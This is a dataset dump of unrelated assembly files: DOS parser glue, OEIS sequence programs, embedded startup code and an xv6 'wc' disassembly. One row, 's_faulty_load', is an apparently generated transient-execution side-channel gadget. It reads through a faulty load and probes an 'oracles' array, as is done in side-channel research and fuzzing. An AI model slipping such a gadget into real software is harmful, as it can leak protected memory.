text stringlengths 1 1.05M |
|---|
PAGE 90,132 ;AN000
TITLE TREESYSP.SAL - INCLUDES THE COMMON SYSTEM PARSER ;AN000;
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;****************** START OF SPECIFICATIONS *****************************
; MODULE NAME: TREESYSP.SAL
;
; DESCRIPTIVE NAME: Include the DOS system PARSER
;
;FUNCTION: The common code of the DOS command line PARSER is optimized by
; the setting of certain switches that cause the conditional
; assembly of only the required portions of the common PARSER.
; The segment registers are ASSUMED according to the type .COM.
; The Common PARSER is then INCLUDEd.
;
; ENTRY POINT: SYSPARSE, near
;
; INPUT:
; ES - has seg id of the SEGMENT
; that contains the input control blocks,
; defined below.
;
; DI - offset into ES of the PARMS INPUT BLOCK
;
; DS - has seg id of the SEGMENT
; that contains the DOS input COMMAND
; string, which is originally presented at 81h
; in the PSP.
;
; SI - offset into DS of the text of the DOS input COMMAND string
; as originally presented at 81H in the PSP.
;
; DX - zero
;
; CX - ordinal value, intially zero, updated on each subsequent call
; to the value returned in CX on the previous call.
;
; CS - points to the segment containing the
; INCLUDE PARSE.ASM statement
;
; DS - also points to the segment containing the INCLUDE
; PARSE.ASM statement.
;
; EXIT-NORMAL: Output registers:
; AX - return code:
; RC_No_Error equ 0 ; No error
; RC_EOL equ -1 ; End of command line
;
; DX - Offset into ES of the selected RESULT BLOCK.
; BL - terminated delimiter code
; CX - new operand ordinal
; SI - set past scanned operand
;
; EXIT-ERROR: Output registers:
; AX - return code:
; RC_Too_Many equ 1 ; Too many operands
; RC_Op_Missing equ 2 ; Required operand missing
; RC_Not_In_SW equ 3 ; Not in switch list provided
; RC_Not_In_Key equ 4 ; Not in keyword list provided
; RC_Out_Of_Range equ 6 ; Out of range specified
; RC_Not_In_Val equ 7 ; Not in value list provided
; RC_Not_In_Str equ 8 ; Not in string list provided
; RC_Syntax equ 9 ; Syntax error
;
; INCLUDED FILES: PARSE.ASM - System Parser
; PSDATA.INC - Equates and workareas used by PARSE.ASM
; PATHMAC.INC - PATHGEN MACRO
;
; INTERNAL REFERENCES:
; ROUTINES: SYSPARSE:near (INCLUDEd in PARSE.ASM)
;
; DATA AREAS: none
;
; EXTERNAL REFERENCES:
; ROUTINES: none
;
; DATA AREAS: control blocks pointed to by input registers.
;
; NOTES:
; This module should be processed with the SALUT preprocessor
; with the re-alignment not requested, as:
;
; SALUT TREESYSP,NUL,;
;
; To assemble these modules, the alphabetical or sequential
; ordering of segments may be used.
;
; For LINK instructions, refer to the PROLOG of the main module,
; TREE.SAL.
;
;****************** END OF SPECIFICATIONS *****************************
IF1 ;AN000;
;%out COMPONENT=TREE, MODULE=TREESYSP.SAL... ;AN000;
ENDIF ;AN000;
INCLUDE PATHMAC.INC ;AN013;
CSEG SEGMENT PARA PUBLIC 'CODE' ;AN000;
ASSUME CS:CSEG ;AN000;ESTABLISHED BY CALLER
ASSUME SS:CSEG ;AN000;ESTABLISHED BY CALLER
ASSUME DS:CSEG ;AN000;ESTABLISHED BY CALLER
ASSUME ES:CSEG ;AN000;ESTABLISHED BY CALLER
PUBLIC SYSPARSE ;AN000;SUBROUTINE ENTRY POINT
DATESW = 0 ;AN000;SUPPRESS DATE CHECKING
TIMESW = 0 ;AN000;SUPPRESS TIME CHECKING
CMPXSW = 0 ;AN000;SUPPRESS CHECKING COMPLEX LIST
NUMSW = 0 ;AN000;SUPPRESS CHECKING NUMERIC VALUE
KEYSW = 0 ;AN000;SUPPRESS KEYWORD SUPPORT
VAL1SW = 0 ;AN000;SUPPRESS SUPPORT OF VALUE DEFINITION 1
VAL2SW = 0 ;AN000;SUPPRESS SUPPORT OF VALUE DEFINITION 2
VAL3SW = 0 ;AN000;SUPPRESS SUPPORT OF VALUE DEFINITION 3
DRVSW = 0 ;AN000;SUPPRESS SUPPORT OF DRIVE ONLY FORMAT
QUSSW = 0 ;AN000;SUPPRESS SUPPORT OF QUOTED STRING FORMAT
BASESW = 1 ;AN012;SPECIFY, PSDATA POINTED TO BY "DS"
INCSW = 0 ;AN013;PSDATA.INC IS ALREADY INCLUDED
include version.inc
INCLUDE PSDATA.INC
PATHLABL TREESYSP ;AN013;
; INCLUDE PARSE.ASM ;GENERATED CODE SUPPRESSED FROM LISTING
.XLIST ;AN000;
.XCREF ;AN000;
INCLUDE PARSE.ASM ;AN000;
.LIST ;AN000;
.CREF ;AN000;
PATHLABL TREESYSP ;AN013;
CSEG ENDS ;AN000;
END ;AN000;
|
; MASM assembly versions of some structures
;
; Copyright 2022 MobSlicer152
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
__cpu_features STRUCT
sse BYTE ?
avx BYTE ?
avx2 BYTE ?
_rdrand BYTE ?
is_it_hammer_time BYTE ?
__cpu_features ENDS
; Detected features from mainCRTStartup
EXTERN __features:__cpu_features
|
add x2, x0, x1
sll x1, x2, x2
or x2, x2, x1
andi x2, x1, 16
addi x3, x2, -243
|
; A100176: Structured octagonal prism numbers.
; 1,16,63,160,325,576,931,1408,2025,2800,3751,4896,6253,7840,9675,11776,14161,16848,19855,23200,26901,30976,35443,40320,45625,51376,57591,64288,71485,79200,87451,96256,105633,115600,126175,137376,149221,161728,174915,188800,203401,218736,234823,251680,269325,287776,307051,327168,348145,370000,392751,416416,441013,466560,493075,520576,549081,578608,609175,640800,673501,707296,742203,778240,815425,853776,893311,934048,976005,1019200,1063651,1109376,1156393,1204720,1254375,1305376,1357741,1411488,1466635,1523200,1581201,1640656,1701583,1764000,1827925,1893376,1960371,2028928,2099065,2170800,2244151,2319136,2395773,2474080,2554075,2635776,2719201,2804368,2891295,2980000
add $0,1
mul $0,3
mov $2,$0
sub $0,2
pow $2,2
mul $0,$2
div $0,9
|
; ********************************************************************************************
; ********************************************************************************************
;
; Name : log.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : Fred Bowen
;
; ********************************************************************************************
; ********************************************************************************************
; Natural Log Function
;
; Calculation is by LN(f*2^n) = (n+LOG2(f))*LN(2)
; An approximation polynomial is used to calculate LOG2(f).
log jsr sign ; is it positive?
+lbeq fcerr ; can't tolerate neg or zero
lda facexp ; get exponent into (a)
sbc #$7f ; remove bias (carry is off)
pha ; save exponent a while
lda #$80
sta facexp ; result is FAC in range (0.5,1)
lda #<sqr05 ; get pointer to sqr(0.5)
ldy #>sqr05
jsr romadd
lda #<sqr20
ldy #>sqr20
jsr romdiv
lda #<fone
ldy #>fone
jsr romsub
lda #<logcn2
ldy #>logcn2
jsr polyx ; evaluate approximation polynomial
lda #<neghlf ; add in last constant
ldy #>neghlf
jsr romadd
pla ; get exponent back
jsr finlog
lda #<log2 ; multiply result by ln(2)
ldy #>log2
rommlt jsr romupk
bra fmultt ; multiply together
faddh lda #<fhalf
ldy #>fhalf
romadd jsr romupk
+lbra faddt
romsub jsr romupk
+lbra fsubt
romdiv jsr romupk
+lbra fdivt
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
|
;/*
; * Copyright (c) 2017, Texas Instruments Incorporated
; * All rights reserved.
; *
; * Redistribution and use in source and binary forms, with or without
; * modification, are permitted provided that the following conditions
; * are met:
; *
; * * Redistributions of source code must retain the above copyright
; * notice, this list of conditions and the following disclaimer.
; *
; * * Redistributions in binary form must reproduce the above copyright
; * notice, this list of conditions and the following disclaimer in the
; * documentation and/or other materials provided with the distribution.
; *
; * * Neither the name of Texas Instruments Incorporated nor the names of
; * its contributors may be used to endorse or promote products derived
; * from this software without specific prior written permission.
; *
; * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
; * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
; * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;;
; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; */
;*******************************************************************************
;
; m4_m4_init.asm - Initialization code for Cortex M4
; (used for AM574x in all boot modes)
;
;*******************************************************************************
;****************************** Global Symbols *********************************
.global stackEnd
.global bssStart
.global bssEnd
.global _c_int00
.sect ".m4_init"
.global m4_start
;******************************* Code Section **********************************
;
; This is M4 start point.
m4_start:
; Set the Stack Pointer
LDR R0, _stackEnd ;Read the stack address
MOV SP, R0 ;Write the Stack Pointer
; Clear BSS Section
clear_bss_section:
LDR R0, _bssStart ;Start address of BSS
LDR R1, _bssEnd ;End address of BSS
SUB R1, R1, #4
MOV R2, #0
loop:
STR R2, [R0], #4 ;Clear one word in BSS
CMP R0, R1
BLE loop ;Clear till BSS end
; Set all registers to 0
MOV R0, #0
MOV R1, #0
MOV R2, #0
MOV R3, #0
MOV R4, #0
MOV R5, #0
MOV R6, #0
MOV R7, #0
MOV R8, #0
MOV R9, #0
MOV R10, #0
MOV R11, #0
MOV R12, #0
; Branch to _c_int00
B _c_int00
_stackEnd:
.word stackEnd
_bssStart:
.word bssStart
_bssEnd:
.word bssEnd
|
; A132729: Triangle T(n, k) = 2*binomial(n, k) - 3 with T(n, 0) = T(n, n) = 1, read by rows.
; 1,1,1,1,1,1,1,3,3,1,1,5,9,5,1,1,7,17,17,7,1,1,9,27,37,27,9,1,1,11,39,67,67,39,11,1,1,13,53,109,137,109,53,13,1,1,15,69,165,249,249,165,69,15,1,1,17,87,237,417,501,417,237,87,17,1,1,19,107,327,657,921,921,657,327,107,19,1,1,21,129,437,987,1581,1845,1581,987,437,129,21,1,1,23,153,569,1427,2571,3429,3429,2571
seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n.
trn $0,2
mul $0,2
add $0,1
|
; Program 5.2
; Looping - NASM (32-bit)
; Copyright (c) 2019 Hall & Slonka
SECTION .text
global _main
_main:
xor eax, eax
mov ecx, 5
myLoop:
inc eax
loop myLoop
mov eax, 1
mov ebx, 0
int 80h
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %rax
push %rcx
push %rdi
lea addresses_A_ht+0x5412, %rax
nop
inc %r15
mov $0x6162636465666768, %rdi
movq %rdi, (%rax)
nop
nop
nop
nop
nop
and $10852, %rcx
pop %rdi
pop %rcx
pop %rax
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %rax
push %rbp
// Faulty Load
mov $0x251e10000000d82, %rax
nop
nop
nop
nop
sub $25260, %r8
vmovntdqa (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rbp
lea oracles, %rax
and $0xff, %rbp
shlq $12, %rbp
mov (%rax,%rbp,1), %rbp
pop %rbp
pop %rax
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}}
{'00': 16}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A053111: Expansion of (-1 + 1/(1-8*x)^8)/(64*x); related to A053107.
; 1,36,960,21120,405504,7028736,112459776,1686896640,23991418880,326283296768,4271344975872,54103703027712,665891729571840,7990700754862080,93757555523715072,1078211888522723328,12177451917433110528,135305021304812339200,1481233917442156134400,15997326308375286251520,170638147289336386682880,1799456825960274623201280,18776940792628952589926400,194028388190499176762572800,1986850695070711570048745472,20174176288410302095879569408,203236146312874154447379365888,2032361463128741544473793658880
add $0,1
seq $0,53107 ; Expansion of 1/(1-8*x)^8.
div $0,64
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; size_t bv_stack_max_size(bv_stack_t *s)
;
; Return maximum size of the stack.
;
; ===============================================================
SECTION code_adt_bv_stack
PUBLIC asm_bv_stack_max_size
EXTERN l_readword_hl
defc asm_bv_stack_max_size = l_readword_hl - 6
; enter : hl = stack *
;
; exit : hl = stack.max_size
;
; uses : a, hl
|
_wc: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: be 01 00 00 00 mov $0x1,%esi
16: 83 ec 18 sub $0x18,%esp
19: 8b 01 mov (%ecx),%eax
1b: 8b 59 04 mov 0x4(%ecx),%ebx
1e: 83 c3 04 add $0x4,%ebx
21: 83 f8 01 cmp $0x1,%eax
24: 89 45 e4 mov %eax,-0x1c(%ebp)
27: 7e 56 jle 7f <main+0x7f>
29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
30: 83 ec 08 sub $0x8,%esp
33: 6a 00 push $0x0
35: ff 33 pushl (%ebx)
37: e8 d6 03 00 00 call 412 <open>
3c: 83 c4 10 add $0x10,%esp
3f: 85 c0 test %eax,%eax
41: 89 c7 mov %eax,%edi
43: 78 26 js 6b <main+0x6b>
45: 83 ec 08 sub $0x8,%esp
48: ff 33 pushl (%ebx)
4a: 83 c6 01 add $0x1,%esi
4d: 50 push %eax
4e: 83 c3 04 add $0x4,%ebx
51: e8 4a 00 00 00 call a0 <wc>
56: 89 3c 24 mov %edi,(%esp)
59: e8 9c 03 00 00 call 3fa <close>
5e: 83 c4 10 add $0x10,%esp
61: 39 75 e4 cmp %esi,-0x1c(%ebp)
64: 75 ca jne 30 <main+0x30>
66: e8 67 03 00 00 call 3d2 <exit>
6b: 50 push %eax
6c: ff 33 pushl (%ebx)
6e: 68 9b 08 00 00 push $0x89b
73: 6a 01 push $0x1
75: e8 a6 04 00 00 call 520 <printf>
7a: e8 53 03 00 00 call 3d2 <exit>
7f: 52 push %edx
80: 52 push %edx
81: 68 8d 08 00 00 push $0x88d
86: 6a 00 push $0x0
88: e8 13 00 00 00 call a0 <wc>
8d: e8 40 03 00 00 call 3d2 <exit>
92: 66 90 xchg %ax,%ax
94: 66 90 xchg %ax,%ax
96: 66 90 xchg %ax,%ax
98: 66 90 xchg %ax,%ax
9a: 66 90 xchg %ax,%ax
9c: 66 90 xchg %ax,%ax
9e: 66 90 xchg %ax,%ax
000000a0 <wc>:
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 57 push %edi
a4: 56 push %esi
a5: 53 push %ebx
a6: 31 db xor %ebx,%ebx
a8: 83 ec 1c sub $0x1c,%esp
ab: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
b2: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
b9: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
c0: 83 ec 04 sub $0x4,%esp
c3: 68 00 02 00 00 push $0x200
c8: 68 c0 0b 00 00 push $0xbc0
cd: ff 75 08 pushl 0x8(%ebp)
d0: e8 15 03 00 00 call 3ea <read>
d5: 83 c4 10 add $0x10,%esp
d8: 83 f8 00 cmp $0x0,%eax
db: 89 c6 mov %eax,%esi
dd: 7e 61 jle 140 <wc+0xa0>
df: 31 ff xor %edi,%edi
e1: eb 13 jmp f6 <wc+0x56>
e3: 90 nop
e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
e8: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
ef: 83 c7 01 add $0x1,%edi
f2: 39 fe cmp %edi,%esi
f4: 74 42 je 138 <wc+0x98>
f6: 0f be 87 c0 0b 00 00 movsbl 0xbc0(%edi),%eax
fd: 31 c9 xor %ecx,%ecx
ff: 3c 0a cmp $0xa,%al
101: 0f 94 c1 sete %cl
104: 83 ec 08 sub $0x8,%esp
107: 50 push %eax
108: 68 78 08 00 00 push $0x878
10d: 01 cb add %ecx,%ebx
10f: e8 3c 01 00 00 call 250 <strchr>
114: 83 c4 10 add $0x10,%esp
117: 85 c0 test %eax,%eax
119: 75 cd jne e8 <wc+0x48>
11b: 8b 55 e4 mov -0x1c(%ebp),%edx
11e: 85 d2 test %edx,%edx
120: 75 cd jne ef <wc+0x4f>
122: 83 c7 01 add $0x1,%edi
125: 83 45 dc 01 addl $0x1,-0x24(%ebp)
129: c7 45 e4 01 00 00 00 movl $0x1,-0x1c(%ebp)
130: 39 fe cmp %edi,%esi
132: 75 c2 jne f6 <wc+0x56>
134: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
138: 01 75 e0 add %esi,-0x20(%ebp)
13b: eb 83 jmp c0 <wc+0x20>
13d: 8d 76 00 lea 0x0(%esi),%esi
140: 75 24 jne 166 <wc+0xc6>
142: 83 ec 08 sub $0x8,%esp
145: ff 75 0c pushl 0xc(%ebp)
148: ff 75 e0 pushl -0x20(%ebp)
14b: ff 75 dc pushl -0x24(%ebp)
14e: 53 push %ebx
14f: 68 8e 08 00 00 push $0x88e
154: 6a 01 push $0x1
156: e8 c5 03 00 00 call 520 <printf>
15b: 83 c4 20 add $0x20,%esp
15e: 8d 65 f4 lea -0xc(%ebp),%esp
161: 5b pop %ebx
162: 5e pop %esi
163: 5f pop %edi
164: 5d pop %ebp
165: c3 ret
166: 50 push %eax
167: 50 push %eax
168: 68 7e 08 00 00 push $0x87e
16d: 6a 01 push $0x1
16f: e8 ac 03 00 00 call 520 <printf>
174: e8 59 02 00 00 call 3d2 <exit>
179: 66 90 xchg %ax,%ax
17b: 66 90 xchg %ax,%ax
17d: 66 90 xchg %ax,%ax
17f: 90 nop
00000180 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 53 push %ebx
184: 8b 45 08 mov 0x8(%ebp),%eax
187: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
18a: 89 c2 mov %eax,%edx
18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
190: 83 c1 01 add $0x1,%ecx
193: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
197: 83 c2 01 add $0x1,%edx
19a: 84 db test %bl,%bl
19c: 88 5a ff mov %bl,-0x1(%edx)
19f: 75 ef jne 190 <strcpy+0x10>
;
return os;
}
1a1: 5b pop %ebx
1a2: 5d pop %ebp
1a3: c3 ret
1a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000001b0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1b0: 55 push %ebp
1b1: 89 e5 mov %esp,%ebp
1b3: 53 push %ebx
1b4: 8b 55 08 mov 0x8(%ebp),%edx
1b7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
1ba: 0f b6 02 movzbl (%edx),%eax
1bd: 0f b6 19 movzbl (%ecx),%ebx
1c0: 84 c0 test %al,%al
1c2: 75 1c jne 1e0 <strcmp+0x30>
1c4: eb 2a jmp 1f0 <strcmp+0x40>
1c6: 8d 76 00 lea 0x0(%esi),%esi
1c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
1d0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
1d3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
1d6: 83 c1 01 add $0x1,%ecx
1d9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
1dc: 84 c0 test %al,%al
1de: 74 10 je 1f0 <strcmp+0x40>
1e0: 38 d8 cmp %bl,%al
1e2: 74 ec je 1d0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
1e4: 29 d8 sub %ebx,%eax
}
1e6: 5b pop %ebx
1e7: 5d pop %ebp
1e8: c3 ret
1e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1f0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
1f2: 29 d8 sub %ebx,%eax
}
1f4: 5b pop %ebx
1f5: 5d pop %ebp
1f6: c3 ret
1f7: 89 f6 mov %esi,%esi
1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000200 <strlen>:
uint
strlen(const char *s)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
206: 80 39 00 cmpb $0x0,(%ecx)
209: 74 15 je 220 <strlen+0x20>
20b: 31 d2 xor %edx,%edx
20d: 8d 76 00 lea 0x0(%esi),%esi
210: 83 c2 01 add $0x1,%edx
213: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
217: 89 d0 mov %edx,%eax
219: 75 f5 jne 210 <strlen+0x10>
;
return n;
}
21b: 5d pop %ebp
21c: c3 ret
21d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
220: 31 c0 xor %eax,%eax
}
222: 5d pop %ebp
223: c3 ret
224: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
22a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000230 <memset>:
void*
memset(void *dst, int c, uint n)
{
230: 55 push %ebp
231: 89 e5 mov %esp,%ebp
233: 57 push %edi
234: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
237: 8b 4d 10 mov 0x10(%ebp),%ecx
23a: 8b 45 0c mov 0xc(%ebp),%eax
23d: 89 d7 mov %edx,%edi
23f: fc cld
240: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
242: 89 d0 mov %edx,%eax
244: 5f pop %edi
245: 5d pop %ebp
246: c3 ret
247: 89 f6 mov %esi,%esi
249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000250 <strchr>:
char*
strchr(const char *s, char c)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 53 push %ebx
254: 8b 45 08 mov 0x8(%ebp),%eax
257: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
25a: 0f b6 10 movzbl (%eax),%edx
25d: 84 d2 test %dl,%dl
25f: 74 1d je 27e <strchr+0x2e>
if(*s == c)
261: 38 d3 cmp %dl,%bl
263: 89 d9 mov %ebx,%ecx
265: 75 0d jne 274 <strchr+0x24>
267: eb 17 jmp 280 <strchr+0x30>
269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
270: 38 ca cmp %cl,%dl
272: 74 0c je 280 <strchr+0x30>
for(; *s; s++)
274: 83 c0 01 add $0x1,%eax
277: 0f b6 10 movzbl (%eax),%edx
27a: 84 d2 test %dl,%dl
27c: 75 f2 jne 270 <strchr+0x20>
return (char*)s;
return 0;
27e: 31 c0 xor %eax,%eax
}
280: 5b pop %ebx
281: 5d pop %ebp
282: c3 ret
283: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000290 <gets>:
char*
gets(char *buf, int max)
{
290: 55 push %ebp
291: 89 e5 mov %esp,%ebp
293: 57 push %edi
294: 56 push %esi
295: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
296: 31 f6 xor %esi,%esi
298: 89 f3 mov %esi,%ebx
{
29a: 83 ec 1c sub $0x1c,%esp
29d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
2a0: eb 2f jmp 2d1 <gets+0x41>
2a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
2a8: 8d 45 e7 lea -0x19(%ebp),%eax
2ab: 83 ec 04 sub $0x4,%esp
2ae: 6a 01 push $0x1
2b0: 50 push %eax
2b1: 6a 00 push $0x0
2b3: e8 32 01 00 00 call 3ea <read>
if(cc < 1)
2b8: 83 c4 10 add $0x10,%esp
2bb: 85 c0 test %eax,%eax
2bd: 7e 1c jle 2db <gets+0x4b>
break;
buf[i++] = c;
2bf: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
2c3: 83 c7 01 add $0x1,%edi
2c6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
2c9: 3c 0a cmp $0xa,%al
2cb: 74 23 je 2f0 <gets+0x60>
2cd: 3c 0d cmp $0xd,%al
2cf: 74 1f je 2f0 <gets+0x60>
for(i=0; i+1 < max; ){
2d1: 83 c3 01 add $0x1,%ebx
2d4: 3b 5d 0c cmp 0xc(%ebp),%ebx
2d7: 89 fe mov %edi,%esi
2d9: 7c cd jl 2a8 <gets+0x18>
2db: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
2dd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
2e0: c6 03 00 movb $0x0,(%ebx)
}
2e3: 8d 65 f4 lea -0xc(%ebp),%esp
2e6: 5b pop %ebx
2e7: 5e pop %esi
2e8: 5f pop %edi
2e9: 5d pop %ebp
2ea: c3 ret
2eb: 90 nop
2ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2f0: 8b 75 08 mov 0x8(%ebp),%esi
2f3: 8b 45 08 mov 0x8(%ebp),%eax
2f6: 01 de add %ebx,%esi
2f8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
2fa: c6 03 00 movb $0x0,(%ebx)
}
2fd: 8d 65 f4 lea -0xc(%ebp),%esp
300: 5b pop %ebx
301: 5e pop %esi
302: 5f pop %edi
303: 5d pop %ebp
304: c3 ret
305: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
309: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000310 <stat>:
int
stat(const char *n, struct stat *st)
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 56 push %esi
314: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
315: 83 ec 08 sub $0x8,%esp
318: 6a 00 push $0x0
31a: ff 75 08 pushl 0x8(%ebp)
31d: e8 f0 00 00 00 call 412 <open>
if(fd < 0)
322: 83 c4 10 add $0x10,%esp
325: 85 c0 test %eax,%eax
327: 78 27 js 350 <stat+0x40>
return -1;
r = fstat(fd, st);
329: 83 ec 08 sub $0x8,%esp
32c: ff 75 0c pushl 0xc(%ebp)
32f: 89 c3 mov %eax,%ebx
331: 50 push %eax
332: e8 f3 00 00 00 call 42a <fstat>
close(fd);
337: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
33a: 89 c6 mov %eax,%esi
close(fd);
33c: e8 b9 00 00 00 call 3fa <close>
return r;
341: 83 c4 10 add $0x10,%esp
}
344: 8d 65 f8 lea -0x8(%ebp),%esp
347: 89 f0 mov %esi,%eax
349: 5b pop %ebx
34a: 5e pop %esi
34b: 5d pop %ebp
34c: c3 ret
34d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
350: be ff ff ff ff mov $0xffffffff,%esi
355: eb ed jmp 344 <stat+0x34>
357: 89 f6 mov %esi,%esi
359: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000360 <atoi>:
int
atoi(const char *s)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 53 push %ebx
364: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
367: 0f be 11 movsbl (%ecx),%edx
36a: 8d 42 d0 lea -0x30(%edx),%eax
36d: 3c 09 cmp $0x9,%al
n = 0;
36f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
374: 77 1f ja 395 <atoi+0x35>
376: 8d 76 00 lea 0x0(%esi),%esi
379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
380: 8d 04 80 lea (%eax,%eax,4),%eax
383: 83 c1 01 add $0x1,%ecx
386: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
38a: 0f be 11 movsbl (%ecx),%edx
38d: 8d 5a d0 lea -0x30(%edx),%ebx
390: 80 fb 09 cmp $0x9,%bl
393: 76 eb jbe 380 <atoi+0x20>
return n;
}
395: 5b pop %ebx
396: 5d pop %ebp
397: c3 ret
398: 90 nop
399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003a0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
3a0: 55 push %ebp
3a1: 89 e5 mov %esp,%ebp
3a3: 56 push %esi
